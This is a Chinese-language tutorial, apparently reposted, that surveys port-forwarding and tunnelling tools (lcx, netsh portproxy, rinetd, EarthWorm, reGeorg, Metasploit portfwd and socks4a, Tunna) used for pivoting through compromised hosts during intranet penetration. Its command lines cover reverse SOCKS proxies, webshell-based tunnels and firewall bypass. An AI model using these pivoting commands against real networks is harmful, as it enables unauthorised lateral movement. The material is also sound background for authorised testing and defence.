內網滲透常見端口轉發方式——lcx netsh rinetd warthworm regeorg msf portfwd sccat metasploit socks4a tunna


內網滲透常見端口轉發方式

本篇文章主要是總結一下常見端口轉發姿勢。

0x01 前言

由於在內網滲透的過程中面對的網絡環境都是千奇百怪的,我們需要探測連接情況。

需要使用到端口轉發技術來讓我們訪問到內網其他主機中,或者將內網中某個端口轉發到本地。

  • 端口映射 : 端口映射是將一台主機的內網(LAN)IP地址映射成一個公網(WAN)IP地址,當用戶訪問提供映射端口主機的某個端口時,服務器將請求轉移到本地局域網內部提供這種特定服務的主機;

工具列表:


工具名稱 主要用途 平台 備注
lcx 端口映射 Windows 只支持tcp協議的端口轉發,非系統內置
netsh 端口映射 Windows 只支持tcp協議的端口轉發
rinetd 反向代理 Linux 需要安裝包
Earthworm 端口映射、Socks5代理 Linux、Windows、MacOS、Arm-Linux 非系統內置
reGeorg Socks5 代理 常見腳本語言 需腳本環境執行,且網絡狀況較好
Metasploit portfwd 端口映射 MSF -> Metpreter會話 需要網絡狀況較好
socat 端口映射 Linux 可能需要安裝
Metasploit->socks4a 反向代理 MSF -> Metpreter會話 需要會話主機有外網代理IP
tunna HTTP隧道 常見腳本語言 需腳本環境執行,且網絡狀況較好

網絡拓撲

網絡拓撲

0x02 lcx

lcx 參數

lcx-<listen|tran|slave> <option> [-log logfile]
[option:]

 -listen <監聽端口> <轉發端口> 

 -tran<監聽端口> <目標地址> <目標端口>

 -slave <目標主機> <目標端口> <本地主機><本機端口>

端口映射 - 無法訪問內網情況下

網絡情況:A無法訪問B主機上的端口,但B可以訪問外網

在這種常見的內網環境下,我們可以使用LCX這款工具來幫助我們實現一個端口映射。

首先在A主機上監聽兩個端口,這兩個端口用於交換B主機發送來的數據以及轉發A主機發送的數據。

這個原理可能有些燒腦,但是仔細跟着我做一遍相信你可以有一個大概的認識 :)

  • A主機上執行命令:lcx.exe -listen 4455 1234

  • B主機上執行命令:lcx.exe -slave {A主機IP地址} {A主機端口} {B主機本地IP地址} {B主機某個需要轉發出去的端口}

PS:這兩條命令沒有先后順序,誰先執行都可以,建議先在A主機監聽后再去執行B主機上的命令。

原理簡述:

A主機首先監聽的兩個端口為 4455 和 1234 ,大概意思就是將4455接收到的主機轉發給1234。當然執行這條命令之前,要保證4455及1234未被其他應用程序占用,並且A主機必須是一個B主機能夠進行通信的IP地址。

B主機會首先連接A主機的4455端口,此時A主機與B主機建立連接狀態,如果我們訪問A主機的1234端口,我們發送的數據會經過4455端口發送給B主機需要轉發的目標端口。

大致就是 A與B要建立一個通道,將1234的數據不斷的傳送到B上的目標端口,中間也包括B主機目標端口響應的數據。

端口轉發 - 能夠訪問內網某台主機

網絡情況:A能夠訪問B主機的任何端口,但是無法訪問C主機上的端口

這種大部分情況是A已經能夠輕松B主機,而想要去訪問C,可以使用LCX的tran參數。

在B主機上執行:lcx.exe -tran {監聽端口} {C主機IP地址} {C主機端口}

此時我們訪問B主機上監聽的端口就相當於訪問了C主機上的端口。

0x03 netsh

網絡情況:A無法連接C的端口,但是可以連接B,所以能在B上進行端口轉發

說明

netsh工具都自帶portproxy功能。目前只支持tcp協議的端口轉發,前提需要作為portproxy的主機需要安裝IPV6,安裝可以不啟用IPV6。

安裝IPV6

netsh interface ipv6 install

轉發

netsh interface portproxy add v4tov4 listenaddress=10.10.18.1 listenport=4455 connectaddress=10.10.12.1  connectport=8080

此時A訪問B(10.10.18.1)的4455端口就相當於訪問C(10.10.12.1)的8080端口

刪除轉發記錄

netsh interface portproxy delete v4tov4 listenaddress={B的IP} listenport={B的端口}

查看轉發記錄

netsh interface portproxy show v4tov4

0x04 rinetd

網絡情況:A無法連接C的端口,但是可以連接B,所以能在B上進行端口轉發

linux下簡單好用的工具rinetd,實現端口映射/轉發/重定向

Rinetd是為在一個Unix和Linux操作系統中為重定向傳輸控制協議(TCP)連接的一個工具。Rinetd是單一過程的服務器,它處理任何數量的連接到在配置文件etc/rinetd中指定的地址/端口對。盡管rinetd使用非閉鎖I/O運行作為一個單一過程,它可能重定向很多連接而不對這台機器增加額外的負擔。

官網地址:http://www.boutell.com/rinetd

軟件下載:wget http://www.boutell.com/rinetd/http/rinetd.tar.gz

安裝

tar zxvf rinetd.tar.gz
cd rinetd
make
make install

配置文件

配置文件結構如下:

源地址 源端口 目的地址 目的端口
0.0.0.0 8080 10.10.12.1 8080
0.0.0.0 9090 10.10.12.1 3389
0.0.0.0 80 10.10.12.1 80

/etc/rinetd.conf文件中指定了每條轉發記錄:

0.0.0.0 8080 10.10.12.1 8080
0.0.0.0 9090 10.10.12.1 3389
0.0.0.0 80   10.10.12.1 80

PS:0.0.0.0表示本機綁定所有可用地址

將所有發往B主機的8080端口的請求轉發到10.10.12.1的8080端口

同樣的,其他都是一樣的意思;

0x05 Earthworm

簡介

EW 是一套便攜式的網絡穿透工具,具有 SOCKS v5服務架設和端口轉發兩大核心功能,可在復雜網絡環境下完成網絡穿透。

PS:該工具已經集成了lcx的所有功能

該工具共有 6 種命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。

官網:http://rootkiter.com/EarthWorm/

端口轉發

網絡情況:A無法連接C的端口,但是可以連接B,所以能在B上進行端口轉發

原理與LCX相同,只是命令參數有所改變:

./ew -s lcx_tran -l 1080 -f 10.10.12.1 -g 9999

將所有發往B主機的1080端口的請求轉發到10.10.12.1的9999端口

正向 SOCKS v5 服務器

網絡情況:A無法連接C的端口,但是可以連接B,所以能在B上進行SOCKS代理轉發

./ew -s ssocksd -l 1080

此時A主機配置上B主機的socks5服務,即可訪問C主機

反彈 SOCKS v5 服務器

網絡情況:A無法連接C的端口,但是B可以連接A,所以需要B連接A,來創建一個Socks5服務(類似於lcx的反向連接)

  • 先在一台具有公網 IP 的主機A上運行以下命令:
./ew -s rcsocks -l {A主機Socks服務端口} -e {A主機轉發端口} 
  • 在目標主機B上啟動 SOCKS v5 服務 並反彈到公網主機的8888端口
/ew -s rssocks -d {A主機IP地址} -e {A主機端口} 

0x06 reGeorg

簡介

Git地址:https://github.com/sensepost/reGeorg.git

reGeorg是一個Python2.7環境下開發的一款結合Webshell進行端口復用的工具,能夠將數據通過在本地建立的Socks服務轉發到內網環境。

說明:reGeorg需要配合Webshell使用,並且需要一個良好的網絡狀況。Python環境必須安裝Urlib3

創建Socks5代理

網絡情況:A只能連接B主機的80端口,A無法與C進行通信,且B無法與外網進行通信

首先要選擇一個適合目標服務器腳本環境的Webshell腳本,將該腳本上傳到服務器上,記錄下地址

在瀏覽器中訪問會出現很熟悉的 Georg says, ‘All seems fine’,說明是正常的

例如Webshell地址如:http://10.10.18.1/shell.jsp

進入reGeorg目錄,執行python reGeorgSocksProxy.py -u {Webshell地址} -p {本地Socks5服務監聽的端口}

最后會輸出Starting socks Server [127.0.0.1:端口],此時就可以使用瀏覽器設置Socks代理訪問內網主機的端口了。

0x07 Metasploit Portfwd

簡介

Metasploit中的Portfwd是集成於Metpreter會話中的一個后滲透模塊,多用於將內網某個主機的端口轉發到本地。

內網端口轉發

網絡狀況:A已經控制了B主機,但是無法與C主機進行通信

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]


OPTIONS:

    -L <opt>  轉發: 本地監聽地址  反向: 本地主機連接到某個地址
    -R        表示正向反向端口
    -h        幫助信息
    -i <opt>  端口轉發條目的索引與交互(請參閱“列表”命令)
    -l <opt>  轉發:本地端口收聽  反向:本地端口連接
    -p <opt>  轉發:遠程端口連接  反向:遠程端口監聽
    -r <opt>  轉發:連接到遠程主機

正向轉發端口:

portfwd -L 127.0.0.1 -l 1212 -r 10.10.12.1 -p 3389

此時訪問本地的1212端口就相當於訪問10.10.12.1的3389端口

反向轉發端口:

portfwd -R -L 10.10.18.1 -l 8080 -r 10.10.12.1 -p 8877

此時訪問10.10.18.1的8080端口就相當於訪問10.10.12.1的8877端口

0x08 socat

參考:http://payloads.online/tools/socat

0x09 Metasploit->socks4a

簡介

該模塊是Metasploit下一個輔助模塊,用於在本地創建一個socks4a代理,用於通向Metpreter會話上的主機網絡。

創建socks4a代理

網絡狀況:A已經控制了B主機,但是無法與C主機進行通信


msf exploit(handler) > use auxiliary/server/socks4a msf auxiliary(socks4a) > show options Module options (auxiliary/server/socks4a): Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The address to listen on SRVPORT 1080 yes The port to listen on. Auxiliary action: Name Description ---- ----------- Proxy msf auxiliary(socks4a) > exploit -y [*] Auxiliary module execution completed msf auxiliary(socks4a) > [*] Starting the socks4a proxy server 
  • SRVHOST 是服務端IP地址,默認是本機所有IP
  • SRVPORT 是Socks4a監聽端口

執行后本地會監聽一個1080端口,可以使用瀏覽器代理、或proxychains-ng等工具代理掃描。

0x10 tunna

簡介

Tunna是一套工具,通過HTTP協議建立一個TCP通信隧道,屬於端口復用技術。它可以用來繞過防火牆環境中的網絡限制。

Git:https://github.com/SECFORCE/Tunna

端口轉發

網絡狀況:A已經擁有了B主機的Webshell,但是無法對B主機的其他端口進行通信

該工具的使用方法與reGeorg相似,但是比reGeorg更加穩定、快速、高效。

例如(1):python proxy.py -u {WebShell地址} -l 1234 -r 3389 -v -n -s

此時,將目標服務器的3389端口轉發到本地的1234端口

例如(2):python proxy.py -u {WebShell地址} -l 1234 -r 3389 -a 10.10.12.1 -v -n -s

此時,將10.10.12.1服務器的3389端口轉發到本地的1234端口

0x11 結語

可能這次總結的不算很完善,后期有新的工具再向里面添加。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM